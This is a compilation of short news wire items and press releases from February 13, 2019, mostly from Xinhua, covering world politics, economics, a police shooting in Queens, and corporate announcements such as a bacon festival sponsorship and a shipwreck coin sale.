On January 14, Onnoghen was absent at the commencement of his trial. It has been then adjourned several times with the former top judge consistently failing to show up in the court.

On January 25, Nigerian President Muhammadu Buhari suspended the chief judge and replaced him on the same day. The move had triggered a mixed reaction from lawyers, political stakeholders, citizens within and outside the country, and the international community.

Hundreds of lawyers of the Nigerian Bar Association took to streets in protest, and the main opposition Peoples Democratic Party (PDP) suspended its presidential election campaign for three days to protest the suspension of Onnoghen.

Some of the protesters, including the PDP, had alleged that Onnoghen's suspension had a political undertone, particularly as it was done while the country was preparing for a crucial presidential election.

The CCT on February 4 adjourned again the trial of Onnoghen at the request of his lawyer.

And on Wednesday, the CCT gave its order following an application by the government lawyer who said the consistent absence of the chief justice from the CCT was a violation of provisions of the country's Administration of Criminal Justice Act.

The CCT is established as a special tribunal dedicated to combating corruption in all the levels, arms and agencies of government in Nigeria.

It works in collaboration with the Code of Conduct Bureau, a body charged with the superintendance of the constitutionally obligated declaration of assets by every public officer in Nigeria as well as investigation of corrupt practices related to such declaration.Source: Xinhua| 2019-02-13 22:28:38|Editor: Li Xia

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HONG KONG, Feb. 13 (Xinhua) -- Those who are bringing in, making, selling, distributing, or promoting alternative smoking products including E-cigarettes in China's Hong Kong Special Administrative Region (HKSAR) may face a maximum penalty of a fine of 50,000 HK dollars (6,370 U.S. dollars) and six months' imprisonment.

A bill to amend the Smoking Ordinance targeting alternative cigarettes was submitted to the Legislative Council of HKSAR on Wednesday.

The bill is proposed by the Food and Health Bureau of the HKSAR government and will have its first reading on Feb. 20, or next Wednesday.

Safeguarding the health of the public is the primary concern of the government though the bill may raise different opinions under expected paramount discussion, said Sophia Chan, secretary for the Food and Health Bureau, on her official blog.

The government hopes to nip the problem in the bud, Amy Yuen, deputy secretary for the Food and Health Bureau, told press on Wednesday.

As these products are still relatively new in Hong Kong, they're not as entrenched as conventional smoking products. It is the responsibility of the government to prevent these products from taking root in Hong Kong, said Yuen.Source: Xinhua| 2019-02-13 22:13:35|Editor: mmm

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MOSCOW, Feb. 13 (Xinhua) -- Russia will do everything to help the Syrian government and its armed forces liberate the country, Russian Foreign Minister Sergei Lavrov said Wednesday.

"We will support the actions of the Syrian army, which should be carried out in line with the provisions of international humanitarian law," Lavrov said at a press conference.

He said Russia will not follow the path of the U.S.-led coalition in the northern Syrian city of Raqqa, which used to be the "de facto capital" of the Islamic State (IS) terrorist group.

According to Lavrov, dead bodies have not been disposed of and the territory has not been cleared of mines after an operation carried out by the U.S.-backed Syrian Democratic Forces, supported by the coalition's air strikes and ground troops, against IS in Raqqa in 2017.

The Syrian government absolutely does not want similar scenarios, Lavrov said.

Differently from Raqqa, hundreds of thousands of former refugees have returned to the city of Aleppo and Damascus' Eastern Ghouta area, liberated by the Syrian army supported by the Russian air force, Lavrov said.Source: Xinhua| 2019-02-13 22:13:35|Editor: xuxin

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JOHANNESBURG, Feb. 13 (Xinhua) -- Three months ahead of South Africa's general elections in May, analysts predict that political parties would take a bold stance against widespread corruption and unemployment, and focus their election campaigns on land reform.

"They would be campaigning about what seems to be what people are concerned about, unemployment problems, but the question is how they will create them (jobs)," political analyst Shadrack Gutto told Xinhua.

Unveiling South Africa's ruling party African National Congress (ANC) manifesto in January, President Cyril Ramaphosa said its objective is to create more than 275,000 jobs annually, revitalize the economy and bring investment.

Opposition party Economic Freedom Fighters (EFF) launched a manifesto that prioritizes land and jobs.

"Parties will emphasize the importance of ensuring stable access to electricity, deal with poverty and reduce crime levels," Gutto added.

Jannie Rossouw, head of the Economic & Business Sciences School at Wits University, said the focus of economic reforms is crucial.

"We will see a lot of campaigning on economic growth and job creation. The public will want to see details of growing it," Rossouw noted.

South African's 2019 general elections are scheduled for May 8.

Since the 2016 local government elections which witnessed the ruling ANC lose control of Johannesburg, Tshwane and the Nelson Mandela Bay municipalities, some believe this would be the most contested poll since the end of apartheid.Photo shows the scene of the 32nd African Union (AU) summit of heads of state and government in Addis Ababa, Ethiopia, on Feb. 10, 2019. (Xinhua/Li Yan)

ADDIS ABABA, Feb. 13 (Xinhua) -- As African leaders concluded their two-day gathering as part of the 32nd Ordinary Session of the Assembly of the African Union (AU), officials have hailed Africa's strategic cooperation with China under the umbrella of the AU.

From the Chairperson of the AU Commission Moussa Faki Mahamat to the AU Peace and Security Commissioner Smail Chergui as well as various other AU commissioners and heads of the pan African bloc's specialized agencies, all have spoken highly of China's growing win-win cooperation with the AU and the African continent in general.

GROWING OVERALL COOPERATION

The AU, which officially launched its representation office in Beijing, China in September 2018 during the Beijing Summit of the Forum on China-Africa Cooperation (FOCAC), said that Africa and China as the two historical allies have over the years registered remarkable development in their relations.

Faki, while addressing the opening session of the two-day 32nd AU summit that opened on Sunday, said that China and the pan-African bloc AU have been enjoying "unprecedentedly dynamic" partnership in various areas.

"The remarkable success of FOCAC held in Beijing in September 2018 illustrates the unprecedented dynamism of our partnership," Faki said.

"The opening of an AU office in Beijing will obviously strengthen this multifarious and fruitful partnership, including the strategic dialogue between the AU Commission and the People's Republic of China," he added.

Faki's positive comment about AU-China ties was also echoed by Emmanuel Nnadozie, executive secretary of the African Capacity Building Foundation (ACBF), the AU's specialized agency for capacity development.

Speaking to Xinhua on Monday, Nnadozie highlighted the role of the China-proposed Belt and Road Initiative (BRI) and the Beijing FOCAC Summit in further strengthening Africa-China ties.

"We are extremely grateful to the Chinese government for the agreement during the last FOCAC Summit," Nnadozie told Xinhua, referring to an accord between Chinese and African leaders.

"We (at the ACBF) have just completed a study on how Africa can benefit from the Belt and Road Initiative because it is highly anticipated here in Africa and China as well," he said.

GROWING PEACE AND SECURITY TIES

AU's Peace and Security Commissioner Smail Chergui told Xinhua on Monday that China is a good partner to the AU that helped the continental body face numerous peace and security challenges in Africa, ranging from efforts to end the civil war in South Sudan to the United Nations peacekeeping mission in conflict-hit Mali.

"China is a very good partner of the AU. China has made concrete contributions to the AU's peace and security efforts," said Chergui.

"The AU and China have many areas of cooperation ranging from the deployment of Chinese peacekeepers in conflict areas, to technical and logistical support for the numerous peacekeeping efforts in Africa," the peace and security commissioner stressed.

"China is an important partner for Africa and the AU in general," Chergui said, adding "I would like to extend my appreciation for the high level of cooperation and political dialogue we have and we will continue to reinforce this dialogue." he said.

China is the second largest contributor to the UN peacekeeping budget and the 11th largest provider of UN peacekeepers.

Chinese peacekeepers have served in several UN mandated peacekeeping missions across Africa, including those in South Sudan, Sudan's Darfur region, the Democratic Republic of Congo and Mali.

Chergui emphasized that the relationship between the AU and China is not restricted to peace and security aspect.

"We have other domains of cooperation including health, energy, and infrastructure to mention some of the multifaceted relationship," he said.

AU Commissioner for Political Affairs Minata Samate-Cessouma, who commended China's support to Africa's causes on the international stage, mainly at the UN Security Council, also affirmed Africa's common position concerning collaboration with China in the peace and security arena.

"China has been actively supporting the work of the AU," Samate-Cessouma affirmed.

"Over the years, China has been actively supporting the AU's mediation role in various conflicts in Africa, including the conflict in Sudan and South Sudan as well as the parties within South Sudan," she said.

"There are many important roles and examples made by China," Samate-Cessouma said, adding that "China has helped all sides to get back to the negotiating table."

Sierra Leone's Minister of Foreign Affairs and International Cooperation Alie Kabba also told Xinhua on the sidelines of the summit that the growing China-Africa cooperation in peace and security demonstrates the overall deep partnership between Africa and China.

"It is time when the focus on peace and security in Africa is at the central stage in the African Union's efforts to make sure that Africa becomes a continent where there is no conflict, and we have the capacity to prevent and resolve conflicts," Kabba said.

Senegal's Secretary-General of the Ministry of Foreign Affairs Mame Baba Cisse also said that "China has been contributing to the peace building and security in Africa."

Baba Cisse further stressed that China "has become a natural partner for Africa" in maintaining peace and stability in the African continent as well as overall development sectors.

Africa and China "have been engaged in win-win cooperation, and our partnership is based on sincerity, affinity, good-faith, and good results," he said.

COOPERATION IN CAPACITY DEV'T

According to the African Capacity Building Foundation (ACBF), young African enthusiasts have "really contributed to Africa's development" after undertaking their studies in China with scholarships granted from the Chinese government.

"We have been monitoring with satisfaction in many aspects the support that the Chinese government has been giving to really promote capacity development in areas of need," ACBF's executive secretary Emmanuel Nnadozie told Xinhua on the sidelines of the AU summit.

"We are aware of the hundreds and thousands of scholarships that have been given to Africa's young people to study in China, and to be able to return to Africa and help to promote development," Nnadozie affirmed.

Africa is a major recipient of China's capacity development support, according to the ACBF. By the end of 2017, the Chinese government has trained 5,655 participants of different professions for Ethiopia, covering over 20 fields that include education, health and medical services, agriculture, tourism, manufacturing industries, public administration, business management, urban development and poverty reduction, according to the Chinese Embassy in Addis Ababa.

"We really commend that, and wish that the Chinese government will continue in this area," Nnadozie told Xinhua.

According to ACBF, China's capacity development support to Africa also contributes in tackling the migration of desperate African youth via dangerous routes to Europe and the Middle East.

CHINA'S ROLE IN STRENGTHENING THE GLOBAL MULTILATERALISM PLATFORM

"We welcome China's involvement, because it gives us the sense that we have a fundamental foundation in strengthening multilateralism across borders," Sierra Leone's minister of foreign affairs and international cooperation, Alie Kabba, said in an exclusive interview with Xinhua during the summit.

Noting the rising resistance against multilateralism in recent years, Kabba spoke highly of China's growing contribution in the global arena as a major actor to fill the gaps that are witnessed in maintaining the multilateralism system.

"The future calls for greater collaboration among nations because that's the only way we can address the issues confronting humanity today," he said, adding that "it is very clear now that the era of multilateralism is here. Those who resisted are just taken to the past."

"We believe that in coming together to make sure that we achieve a shared future for everybody is the way forward," he said.

"When we see China stepping up, it gives us the sense that we are moving in the right direction," he added.MILWAUKEE, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Patrick Cudahy  , The Home of Sweet Apple-Wood Smoked Flavor, is bringing the brands beloved bacon back for the eighth straight year, returning as the presenting sponsor of 102.9 The HOGs BACONFEST MILWAUKEE 2019 .



Bacon lovers can rejoice with nearly a ton of Patrick Cudahy samples of delicious Original Sweet Apple-Wood Smoked Bacon, which is still smoked the old-fashioned way in Cudahy, Wisconsin. The Patrick Cudahy station will once again feature the Patrick Cudahy photo opportunity, where bacon lovers can snap photos to share with friends and family on the BACONFEST MILWAUKEE site. As the Official Bacon of the Green Bay Packers, everyone who stops by the Patrick Cudahy booth will also be given the chance to win Green Bay Packers autographed gear, brand items on the prize wheel, and will be treated to assorted swag and coupons.

The sweet apple-wood smoked flavor of Patrick Cudahy is a staple of BACONFEST, and were delighted to participate in this exciting event again this year," said Chad McFadden, Patrick Cudahy brand manager. "As members of the community for more than 130 years, we are proud to celebrate traditions like BACONFEST MILWAUKEE with our fans because thats what Patrick Cudahy is all about: family, friends, fun, and most importantly  bacon!

The bacon-centric festivities will be held on Sunday, February 17, at the Event Center inside the Potawatomi Hotel & Casino, from noon to 4 p.m. For more information on BACONFEST MILWAUKEE 2019 or to purchase tickets, go to www.baconfestmke.com .

About Patrick Cudahy

For 130 years, families throughout the Midwest have known the name Patrick Cudahy as one they can count on for quality, value and for the unmistakable flavor of Sweet Apple Wood. Our product line includes fully cooked and traditional bacon, bacon pieces and toppings, dry sausage, pepperoni, ham, deli, and sliced meats. For more information about Patrick Cudahy, please visit www.patrickcudahy.com or connect with us on Facebook . Patrick Cudahy is a brand of Smithfield Foods.

About Smithfield Foods

Smithfield Foods is a $15 billion global food company and the world's largest pork processor and hog producer. In the United States, the company is also the leader in numerous packaged meats categories with popular brands including Smithfield, Eckrich, Nathans Famous, Farmland, Armour, Farmer John, Kretschmar, John Morrell, Cooks, Gwaltney, Carando, Margherita, Curlys, Healthy Ones, Morliny, Krakus, and Berlinki. Smithfield Foods is committed to providing good food in a responsible way and maintains robust animal care, community involvement, employee safety, environmental, and food safety and quality programs. For more information, visit www.smithfieldfoods.com, and connect with us on Facebook, Twitter, LinkedIn, and Instagram.

Media Contact:

Adrienne Taylor

(757) 357-8520

awtaylor@smithfield.comkali9/iStock(NEW YORK) -- A New York Police Department detective was killed and a sergeant was wounded as they responded to an armed robbery in the Richmond Hill section of Queens, multiple police sources told ABC News.



The officers interrupted a robbery in progress at a T-Mobile on Atlantic Avenue, officials said.



Both officers were taken to Jamaica Hospital, where Detective Brian Simonsen was pronounced dead.



The sergeant was shot in the hip and is expected to survive, according to police.



Det. Simonsen was shot and killed by a fellow NYPD officer, Police Commissioner James ONeill said.



Friendly fire aside, ONeill squarely blamed the detectives death on the actions of the suspect, described as a career criminal.



Multiple officers fired multiple rounds ONeill said as they responded to a robbery at the T-Mobile store.



At least one suspect was shot and is now in stable condition. It's unclear how many additional suspects there might be.



Police are looking into whether a motor vehicle stop they made after the shooting is connected to the incident, officials said.



The fatal shooting is believed to be the first officer killed in the line of duty since Miosotis Familia on July 5, 2017.

Copyright  2019, ABC Radio. All rights reserved.Source: Xinhua| 2019-02-13 22:08:33|Editor: xuxin

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BEIRUT, Feb. 13 (Xinhua) -- Saudi envoy Nizar al-Aloula said on Wednesday that Saudi Arabia will support Lebanon on all levels, Lebanese presidency's website reported.

"We will keep on supporting Lebanon in all areas in a bid to boost relations between the two countries," al-Aloula was quoted as saying during his visit to Lebanese President Michel Aoun at Baabda Palace.

The two parties discussed the steps that should be taken in a bid to activate bilateral agreements between the two countries in the coming period.

Al-Aloula announced a day earlier that over 20 agreements between Saudi Arabia and Lebanon will be activated now that the new Lebanese government is formed.

Meanwhile, Al-Aloula met with Lebanese House Speaker Nabih Berri to discuss the latest developments in Lebanon and the region in addition to potential ways of cooperation between the two countries.Source: Xinhua| 2019-02-13 22:03:31|Editor: xuxin

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MOGADISHU, Feb. 13 (Xinhua) -- Somalia has welcomed the African Union's decision to support Mogadishu's plans of seeking an international debt cancellation which would allow the country to receive international assistance.

Ahmed Isse Awad, minister for foreign affairs and international cooperation, said the country's peace and development goals are constrained by the debt burden that prevents it from accessing concessionary financing and normalizing relations with international financial institutions.

"The African Union's decision mirrors the fundamental spirit of cooperation and support that exists within the AU fraternity," Awad said in a statement issued on Tuesday evening in Mogadishu.

He said the Horn of Africa nation is working hard to undertake fiscal and economic reforms to achieve debt relief and attain sustainable development.

The minister said the debt cancellation for Somalia would act as a means to one of the durable solutions being sought by the African leaders to end the cycle of forced displacements.

According to experts, violent extremism has made Somalia one of Sub-Saharan Africa's most troubled and underdeveloped countries as the government struggles with inadequate resources to meet the country's pressing needs.

In early 2018, the International Monetary Fund (IMF) pledged to prioritize Somalia's debt relief, saying every effort is being made to speed up the process.

According to the IMF, Somalia's external debt is about 5 billion U.S. dollars, but Mogadishu has not made a service or amortization payment since the onset of the civil war two decades ago, making it impossible to access loans from the IMF.

To qualify for the debt cancellation, Somalia needs to convince the IMF, which would possibly convene its board of directors to review the country's progress.

Should the IMF board give approval for the debt cancellation, Somalia would be required to hold bilateral talks with private donors on the terms of debt forgiveness.

Somalia started lobbying for debt cancellation during the 32nd Ordinary Session of the Assembly of the African Union which ended in Ethiopia on Monday.

During the meeting, the African Union Commission and international partners called upon external creditors to cancel Somalia's debt to allow the war ravaged country to access financing to support its socio-economic advancement.Source: Xinhua| 2019-02-13 22:03:30|Editor: xuxin

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WINDHOEK, Feb. 13 (Xinhua) -- Namibian President Hage Geingob on Wednesday emphasized the need for his government to combat corruption and poverty and be accountable.

He was speaking at the official opening of the parliament of Namibia in the capital Windhoek.

"The sign of a fully functional democracy is the existence of robust and well-funded processes, systems and institutions. If parliamentary institutions are mistrusted and perceived to be corrupt, it places serious challenges on our democracy," Geingob said.

The Namibian head of state also added that there is a need to come up with programmes that improve trust in the governance architecture of the country.

"As government we have set ourselves high targets that we aim to achieve in our concerted drive towards a more prosperous Namibia. In addition we have declared a war in dealing with social ills." he said.Source: Xinhua| 2019-02-13 21:38:25|Editor: Li Xia

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CHENGDU, Feb. 13 (Xinhua) -- Moving along the rail track, two robotic arms scan and check the bottom of bullet trains, ensuring the trains could stand the test of China's Spring Festival travel rush.

The real-time data including images of the train bottoms can be captured by the high-definition cameras embedded in the arms and uploaded them to the control center.

The robotic arms are among a growing number of robots employed in China's railway system to improve efficiency and ensure safety, as railway trips are expected to hit 413 million in total during this year's Spring Festival travel rush, China's largest seasonal migration of people.

"The robots are very helpful because they are able to scan the train parts that can hardly be reached by inspectors," said Huang Wentao, an engineer with China Railway Chengdu Group Co., Ltd.

Besides reducing safety risks, the robots can significantly cut the inspection time. "It normally takes four inspectors two hours to check eight bullet trains, but the robots only need an hour to finish the job," Huang said.

Four navigation robots are also on duty in Wuhan Railway Station in central China's Hubei Province. The voice-controlled humanoids can answer passengers' questions and give directions.

In a railway substation in northwest China's Shaanxi Province, a 1.6-meter-tall robot roamed around to inspect the condition of the substation's equipment.

"The robot provides more precise inspection results," said Long Hongfeng, an inspector at the substation. "It is able to operate under extreme weather conditions, ensuring a stable power supply for the Xi'an-Chengdu high-speed railway."

This year's Spring Festival travel rush started from Jan. 21 and will last till March 1. By Tuesday, more than 210 million railways trips had been made across China, according to the China Railway Corporation, the national railway operator.Source: Xinhua| 2019-02-13 21:38:25|Editor: Yamei

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by Olatunji Saliu

ABUJA, Feb. 13 (Xinhua) -- Nigerian authorities have ordered tight security across the country as Saturday's presidential polls draw near.

The police said Tuesday that to ensure peaceful elections, it was deploying "maximally" and would be making the enormous use of its human and material resources.

National police spokesman Frank Mba told reporters in Abuja that the deployments would be made overtly and covertly, in view of the country's security situation.

According to Mba, both the marine and air wing of the police are fully on alert for the elections. Helicopters, he said, will be deployed based on exigencies.

Mounted troopers, as well as the canine and the explosives and ordnance department of the police, are also fully activated, Mba noted.

Moreover, Nigeria's acting national police chief Mohammed Adamu on Monday ordered the deployment of six deputy inspectors-general of police to monitor the security situations in the six geopolitical regions of the country.

"Almost every policeman in the country would be on election duty," Mba said, adding "even police personnel in the offices, in control room, including those on decoy operation or intelligence, everyone would be on duty."

Medical personnel would be on standby in case of emergencies during the general elections.

Mba said the police and other security agencies were fully ready to ensure the elections are peaceful, free, fair and credible.

Some of the previous elections in the country were marred by post-election violence in which scores were reportedly killed.

On Jan. 21, the government said there were security threats to the upcoming general elections, alerting citizens of the West African country to be wary of pending attacks before, during and after the polls.

The government said it had credible intelligence that some opposition politicians had plans to orchestrate widespread violence to truncate the elections.

A fortnight ago, the country's national security adviser met with state governors, alerting them of plans by some groups to scuttle the polls via widespread violence.

In 2011, immediately after the elections, widespread violence erupted in the northern part of the country.

In 2015, the Independent National Electoral Commission, Nigeria's electoral body, had to reschedule the general elections due to security concerns.

The Nigerian Security and Civil Defense Corps, another leading paramilitary agency, said Tuesday it has deployed at least 60,000 personnel across the country for the presidential polls.

Kelechi Madu, a deputy commandant-general of the security agency, told Xinhua it would work in synergy with other security agencies.

Madu said, as expected, the paramilitary agency was fully prepared to provide security for citizens and ensure that the country's critical national infrastructure was safeguarded.

"All logistics and incentives have been made available to personnel of the corps to ensure that they are well catered for throughout the election period," he said.

In addition, the security agency's counterterrorism unit will be posted at the entry and exit points of the country's capital city of Abuja, with its personnel fully armed for better operation, Madu said.Source: Xinhua| 2019-02-13 21:18:18|Editor: xuxin

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MOSCOW, Feb. 13 (Xinhua) -- Moscow has no fear of possible new Western sanctions, which are likely forced by Washington, Russian Foreign Minister Sergei Lavrov said Wednesday.

"We are not discussing sanctions with anyone. We want to improve our economy, trade with normal foreign partners in such a way as not to depend on someone's whims," Lavrov said at a press conference.

On Tuesday, the Financial Times quoted diplomatic sources as saying that the United States and the European Union (EU) are close to agreeing on new sanctions against Russia over the seizure of Ukrainian warships in the Black Sea in November.

The measures are expected to be discussed at a meeting of EU foreign ministers Monday and could be levied over the next two months, the newspaper said.

"We know that these sanctions are being adopted under the strongest pressure of the United States, which once again speaks of the non-independence of the European Union," Lavrov said.

On Nov. 25, Russia seized three Ukrainian naval ships and 24 sailors on board attempting to sail through the Kerch Strait from the Black Sea to the Sea of Azov, for allegedly violating the Russian border.

Moscow and Kiev accused each other of provocation, and Western countries criticized Russia for the incident.Source: Xinhua| 2019-02-13 20:58:12|Editor: xuxin

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TASHKENT, Feb. 13 (Xinhua) -- Moody's Investors Service (Moody's) has assigned a first-time long-term issuer rating to the Government of Uzbekistan at B1, the rating agency said Wednesday.

Uzbekistan, which has already been assigned BB- rating by Fitch and S&P, now holds three major global agencies' ratings ahead of its debut eurobond issue in London, Britain, this week.

Moody's B1 rating means that the country is vulnerable, but now it can fulfill its financial obligations.

In addition, Moody's has also assigned a provisional rating of (P) B1 to the Government of Uzbekistan's forthcoming medium-term note program and a B1 rating to the planned drawdown from the program.

Moody's rated Uzbekistan's economic, fiscal strength and susceptibility to event risk as "moderate," but noting that the country's institutional strength was "very low" based on economic growth, demographic trends, implementation of new policy tools that would pave the way for a transition to a market-based economy and other factors.

"The stable outlook reflects Moody's expectations for balanced risks both over the near and medium term. Upside and downside risks mainly relate to the credit implications of the reforms now under way," Moody's said.

Uzbekistan's reform program could strengthen its credit profile if it leads to a sustained increase in productivity growth and competitiveness and if it improves government and policy effectiveness, according to the rating agency.

Uzbekistan needed the ratings of the three global rating agencies ahead of its first-time eurobond issue.

An Uzbek delegation traveled this week to the United States and Britain for a "road show" meeting with investors for debut eurobond placement.

"Based on conditions and trends in the international financial markets, it is planned to issue the country's first state international bonds for a period of five and or 10 years," the Uzbek Finance Ministry said earlier.Source: Xinhua| 2019-02-13 20:53:12|Editor: xuxin

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SKOPJE, Feb. 13 (Xinhua) -- The so-called Prespa Agreement of June 2018 and the constitutional changes making the Republic of North Macedonia the country's official name entered into force on Feb. 12, the government of Macedonia said in a statement late Tuesday.

On that date, the "Final Agreement for the settlement of the differences as described in United Nations Security Council Resolutions 817 (1993) and 845 (1993), the termination of the Interim Accord of 1995, and the establishment of a strategic partnership between the parties" entered into force and this was duly published in the Official Gazette by the Ministry of Foreign Affairs.

According to the official statement, the conditions for the entry into force of the requisite constitutional amendments, which were adopted by the country's parliament on Jan. 11, have all been met.

"The initial decisions in relation to the necessary measures and activities for fulfillment of the obligations arising from the Final Agreement and constitutional amendments shall be presented in a communique published by the Inter-Ministerial Working Group for fulfillment of the obligations stipulated in the Final Agreement," reads the press release.

According to the government's plan, the customs administration should put stickers on border crossing signs at state borders and airports within three days.

All institutions have two weeks to make the necessary changes in their printed materials, such as logos, memos, etc.

The Interior Ministry is to start issuing new registration plates in four months. Furthermore, the Interior Ministry should take measures for issuing new passports by the end of 2019. In the meantime, the authorities should stamp current passports with the country's new name at all border checkpoints.

The National Bank should draft a plan for the gradual replacement of banknotes.

"The traffic signs on international roads ... shall be replaced in two months," reads the press release.

Greece and Macedonia have been in dispute since 1991, when the former Yugoslav republic gained independence. Greece has objected to its neighbor's constitutional name of the Republic of Macedonia, fearing that the name indicates territorial ambitions over the northern Greek province of Macedonia. Greece's objection has impeded Skopje's bid to join NATO and the European Union.Source: Xinhua| 2019-02-13 20:38:10|Editor: Li Xia

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BEIJING, Feb. 13 (Xinhua) -- China said on Wednesday that it hoped relevant media would report news abiding by principles of being objective and fair.

Chinese Foreign Ministry spokesperson Hua Chunying made the remarks when asked for comments on The Wall Street Journal reporting that Chinese diplomats had contact with Venezuelan opposition representatives in Washington.

"Recently, some media have been cooking up fake news. I don't know what the purpose is," said Hua at a press briefing. "We hope relevant media will report news abiding by principles of being objective and fair."

As for the current Venezuela issue, China advocates seeking a political settlement through dialogue and consultation, Hua said.Source: Xinhua| 2019-02-13 20:18:05|Editor: xuxin

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TOKYO, Feb. 13 (Xinhua) -- Two lawyers who had been working for ousted Nissan Motor Co. Chairman Carlos Ghosn handed in their resignations on Wednesday ahead of preparations for Ghosn's trial over allegations of financial improprieties.

Ghosn's chief lawyer Motonari Otsuru told a press briefing that the lawyers submitted their resignations at the Tokyo District Court.

The two lawyers quitting comes a day before the court is scheduled to hold talks with prosecutors and lawyers to traverse the details of Ghosn's trial.

Ghosn, who was arrested in November along with his close aide Greg Kelly, has since been kept at a detention facility in Tokyo.

He is facing allegations of under-reporting his earnings in Nissan's financial statements for years, in violation of Japan's Financial Instruments and Exchange Act.

Ghosn, widely recognized as the brains and brawn behind Nissan's rapid turnaround since 1999, has rigorously maintained that he has in no way violated financial regulatory laws in relation to reporting his earnings, and that Nissan incurred no losses from his private investment dealings that have led to allegations of breach of trust.

Ghosn, who holds Brazilian, French and Lebanese citizenship, appeared at a hearing for the first time on Jan. 8 and was granted permission to voice his opinions in court about the myriad charges facing him.

The former auto executive said that he had been wrongly accused and unfairly detained based on meritless and unsubstantiated accusations.

But the presiding judge at his hearing said that his ongoing detention was due to concerns he might try to destroy key evidence and there was a flight risk.

Otsuru has said that Ghosn could theoretically be detained for a minimum of six months, depending on when his trial starts, due to the complexities of the case.

Multiple requests for bail have been rejected by the court, owing in part because Ghosn has unequivocally denied all allegations against him.

Two members of his legal team quitting Wednesday will undoubtedly deal a blow to Ghosn and his case, with legal insiders saying the optics and timing of the resignation do not look good for Ghosn.St Petersburg, FL, Feb. 13, 2019 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Endurance Exploration Group (OTC: EXPL) and expedition partner, Blue Water Ventures International (OTCPK: BWVI), are pleased to announce that they have sold a portion of the rare coins recovered from the SB Pulaski wreck site during the 2018 dive season. The joint venture partners have retained certain coins, as well as unique and valuable artifacts for monetization at a later date, and will provide the opportunity for display, academic study, and public viewing.



The proceeds from the sale of these coins was sufficient to recoup the costs of salvage efforts in 2018 and will provide sufficient working capital for the upcoming 2019 salvage season. The coin sales will allow the expedition partners to continue excavating the 1838 SB Pulaski wreck site, which is estimated to still contain 98% of its coins, precious metals, and additional valuable artifacts. The JV Partners estimate that they have only recovered approximately 2% of the valuable cargo from the shipwreck and are eager to commence the 2019 dive season and continue the potentially lucrative salvage effort.

Further, the proceeds from the coin sales will provide additional working capital to commence salvage operations on additional wreck sites, such as the recently arrested 1840 loss of steamship, North Carolina, which was once owned by the Vanderbilt shipping line.

Selected coins were sold to one of the worlds largest coin distribution companies, Asset Marketing Services (AMS) who is making selected coins available to their numismatic collecting clients. Collectors interested in acquiring coins from the Pulaksi shipwreck may contact AMS at Govmint.com.

AMS CEO, Bill Gale, commented, At the time the SS Pulaski sailed, Americans carried both foreign and U.S. coins in their pockets and they made no distinction between the two in daily commerce. This changed in 1857, when foreign coins were no longer considered U.S. legal tender, but the Pulaski treasure offers a fascinating glimpse into how Americans viewed their money during our first 80 years as a country. Another thing that impressed me was the high quality of the U.S. coins recovered from the wreck. Even though the coins were lost at sea over 180 years ago, many of the recovered coins are in astonishingly good condition.

Blue Water Ventures CEO, Keith Webb, commented, To see these coins come to life after almost 200 years underwater, is a site to behold. We are thrilled that Asset Marketing Services will be able to share these special coins with the public.

About Asset Marketing Services, Inc:

Since 1984 Asset Marketing Services (AMS) has provided collectors, history buffs and others with ancient coins that date back more than 2,000 years to the latest three-dimensional works of modern coin art and everything in between. Asset Marketing Services / AMS is a private distributor of coin and currency issues and privately licensed collectibles, and is not affiliated with the U.S. government. ModernCoinMart, MCM and GovMint.com  are brands of AMS

About Endurance Exploration Group, Inc.:

Endurance Exploration Group, Inc. specializes in historic shipwreck research, subsea search, survey and recovery of lost ship containing valuable cargoes. Over the last 5 years, Endurance has developed a research database of over 1,400 ships that are known to be lost with valuable cargoes in the world oceans. For more information go to http://www.expl.com .

About Blue Water Ventures International, Inc.:

The Company is engaged in the business of conducting archaeologically-sensitive recoveries of cargo and artifacts from shipwrecks. Its operations to date have focused on shallow water search and recovery projects in less than 150 feet of water. The Company is now expanding its focus to include deep-water salvage of historic and modern-day shipwrecks. For more information go to http://www.bwvint.com

Forward Looking Statements:

This press release contains forward-looking statements within the meaning of the Securities Act of 1933, as amended, and the Securities Exchange Act of 1934, as amended. Such forward-looking statements are subject to certain risks and uncertainties including, but not limited to: ability to further strengthen our balance sheet, ability to raise funding for continued operations, ability to successfully and profitably locate additional wrecks and cargo, ability to establish ownership, and other factors. Therefore, actual results may differ materially from those indicated or implied by such forward-looking statements. Except as required by law, the Company disclaims any obligation to publicly update such statements.



Source: Xinhua| 2019-02-13 20:13:04|Editor: Li Xia

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Tourists enjoy the view of the city in Budapest, Hungary, Feb. 13, 2019. Hungary attracted a record number of foreign visitors last year, 650,000 more than in 2017, according to official sources here late Tuesday. (Xinhua/Attila Volgyi)

BUDAPEST, Feb. 13 (Xinhua) -- Hungary attracted a record number of foreign visitors last year, 650,000 more than in 2017, according to official sources here late Tuesday.

"The number of tourism nights spent in commercial accommodations in 2018 went up by 1 million to close to 31 million compared to 2017," Zoltan Guller, director general of the Hungarian Tourism Agency (MTU) said in statement, commenting on the most recent data published by the Hungarian Central Statistical Office KSH.

The number of tourists from the United States, Romania and the Czech Republic, among the top 10 countries of origin, increased dynamically. And arrivals from China increased by over 10 percent, Guller said.

"Commercial accommodation establishments registered a total of 12.5 million arrivals and 30.9 million tourism nights, up 5.2 percent and 3.8 percent respectively. Foreign guests spent 2.4 percent more (15.3 million) and domestic guests 5.3 percent more (15.6 million) nights," KSH detailed, in a comparison of 2018 figures with those of 2017.

Tourism and the catering industry accounted for over 10 percent of Hungary's GDP last year.Source: Xinhua| 2019-02-13 19:37:55|Editor: xuxin

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BEIRUT, Feb. 13 (Xinhua) -- British Ambassador to Lebanon Chris Rampling said Wednesday that the United Kingdom has contributed 200 million U.S. dollars to support economic development in Lebanon, the National News Agency reported.

"Bilateral ties between Lebanon and the United Kingdom today are stronger than ever before and the kingdom is looking forward to increasing its support for Lebanon's economic development," Rampling was quoted as saying during his meeting with Foreign Minister Gebran Bassil.

Rampling also called upon the new government to remain neutral in the midst of the conflicts taking place in the region while committing to UN Security Council resolutions 1701 and 1559.

"We will always support Lebanon's stability and sovereignty through diplomatic channels," Rampling said.

Rampling added that he is looking forward to seeing serious reforms that would have great economic impact in the country.Source: Xinhua| 2019-02-13 19:32:53|Editor: Li Xia

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MANILA, Feb. 13 (Xinhua) -- The Chinese Embassy in the Philippines donated IT equipment to Philippine Broadcasting Service (PBS) and Philippine News Agency (PNA) respectively on Wednesday to help the two media services upgrading their facilities.

